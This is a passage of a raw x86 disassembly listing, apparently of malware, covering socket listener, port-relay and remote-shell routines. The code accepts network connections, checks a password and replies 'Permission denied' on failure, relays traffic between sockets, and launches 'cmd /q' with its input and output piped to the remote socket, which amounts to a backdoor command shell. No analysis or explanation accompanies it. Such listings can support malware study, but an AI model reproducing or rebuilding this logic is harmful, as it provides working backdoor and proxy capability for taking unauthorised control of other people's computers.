-30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410F17 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4CBA00 ; bind test eax, eax jnz loc_410F17 push 0Ah push [ebp+arg_0] call dword_4CB9FC ; listen test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: sub_410DAB+C6j ; sub_410DAB+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CBA68 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40B3BA mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410F3C push esi push esi call dword_427084 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_410F02 loc_410EEF: ; CODE XREF: sub_410DAB+155j cmp [ebp+var_30], esi jnz loc_410E5B push 32h call dword_427080 ; Sleep jmp short loc_410EEF ; --------------------------------------------------------------------------- loc_410F02: ; CODE XREF: sub_410DAB+142j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435190 call sub_415DAC pop ecx pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: sub_410DAB+63j ; sub_410DAB+97j ... mov edi, [ebp+arg_0] loc_410F1A: ; CODE XREF: sub_410DAB+16Aj push edi call dword_4CBA6C ; closesocket push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_40] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_410DAB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F3C proc near ; DATA XREF: sub_410DAB+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_4110F2 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4CB9D4 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_410FCC lea eax, [ebp+var_13C] push eax call dword_4CBA58 ; gethostbyname jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: sub_410F3C+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C ; gethostbyaddr loc_410FDA: ; CODE XREF: sub_410F3C+8Ej cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_411123 push edi push edi call dword_427084 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: sub_410F3C+15Dj cmp [ebp+var_20], edi jnz short loc_41109B push 32h call dword_427080 ; Sleep jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: sub_410F3C+153j mov ebx, 1000h loc_4110A0: ; CODE XREF: sub_410F3C+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC ; recv cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: sub_410F3C+14Ej call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: sub_410F3C+44j ; sub_410F3C+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C ; closesocket push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_4] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_410F3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411123 proc near ; DATA XREF: sub_410F3C+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: sub_411123+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC ; recv test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_43E91C[esi] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: sub_411123+61j push dword_43E920[esi] call dword_4CBA6C ; closesocket push [ebp+var_14] call sub_40B6D6 pop ecx push 0 call dword_4270D4 ; ExitThread pop edi pop esi sub_411123 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CB9BC ; select test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread loc_411244: ; CODE XREF: sub_4111C0+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CB9EC ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CB928 ; getpeername test eax, eax jz short loc_4112BD call dword_4CB968 ; WSAGetLastError push eax push offset unk_43532C call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 0Ch push edi call dword_4270D4 ; ExitThread loc_4112BD: ; CODE XREF: sub_4111C0+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, edi jnz short loc_4112E7 push [ebp+var_18] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: sub_4111C0+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41C890 loc_4112F5: ; CODE XREF: sub_4111C0+125j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 ; send cmp dword_4CE72C, edi jnz short loc_411357 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread loc_411357: ; CODE XREF: sub_4111C0+14Cj ; sub_4111C0+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_4352F0 call sub_415DAC push [ebp+arg_0] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4352C4 call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 0Ch push ebx call dword_4270D4 ; ExitThread loc_41139E: ; CODE XREF: sub_4111C0+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_435298 call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call dword_4270D4 ; ExitThread sub_4111C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap ; sub_4111C0+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: sub_4111C0+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset unk_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CB944 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_4114A7 push eax push offset unk_4354F4 call sub_415DAC push [ebp+var_4C] call sub_40B6D6 add esp, 0Ch push edi call dword_4270D4 ; ExitThread loc_4114A7: ; CODE XREF: sub_41144E+3Aj push edi push offset loc_4116CC call dword_42712C ; SetConsoleCtrlHandler test eax, eax jnz short loc_4114E0 call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4354B0 call sub_415DAC pop ecx pop ecx call dword_4CB92C ; WSACleanup push [ebp+var_4C] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread loc_4114E0: ; CODE XREF: sub_41144E+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_4CB9D4 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_411657 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_4CBA00 ; bind test eax, eax jnz loc_411657 push 7FFFFFFFh push ebx call dword_4CB9FC ; listen test eax, eax jnz loc_411657 push offset unk_435474 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415D38 pop ecx mov [ebp+arg_0], edi loc_41156F: ; CODE XREF: sub_41144E+15Aj ; sub_41144E+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CBA68 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_41165A push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_41156F movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset unk_435430 push eax call sub_41C266 lea eax, [ebp+var_414] push eax call sub_415D38 push edi lea eax, [ebp+var_414] push 9 push eax call sub_40B3BA mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4111C0 lea eax, [ebp+var_10] push esi push eax call dword_427084 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_411642 loc_41162F: ; CODE XREF: sub_41144E+1F2j cmp [ebp+var_38], esi jnz loc_41156F push 32h call dword_427080 ; Sleep jmp short loc_41162F ; --------------------------------------------------------------------------- loc_411642: ; CODE XREF: sub_41144E+1DFj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4353F4 call sub_415DAC pop ecx pop ecx jmp short loc_41165A ; --------------------------------------------------------------------------- loc_411657: ; CODE XREF: sub_41144E+C8j ; sub_41144E+ECj ... mov edi, [ebp+arg_0] loc_41165A: ; CODE XREF: sub_41144E+13Cj ; sub_41144E+207j call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset unk_4353BC push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_41169A push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_409869 add esp, 14h loc_41169A: ; CODE XREF: sub_41144E+22Aj lea eax, [ebp+var_414] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push ebx call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup push [ebp+var_4C] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread pop ebx loc_4116CC: ; DATA XREF: sub_41144E+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_41144E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4270B4 ; TerminateThread loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_427130 ; WaitForMultipleObjects sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j call dword_4270B4 ; TerminateThread push 1 push dword ptr [esi+8] call dword_4270FC ; TerminateProcess loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CBA6C ; closesocket push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_427070 test eax, eax jnz short loc_41188A call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_4118B2 call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi ; CloseHandle loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi ; CloseHandle loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi ; CloseHandle loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi ; CloseHandle loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_427100 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_427074 ; CreateProcessA test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx call dword_427070 ; CloseHandle jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx ; ReadFile test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 ; send test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411AA6 call esi ; RtlGetLastWin32Error push eax push offset unk_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC ; recv test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; 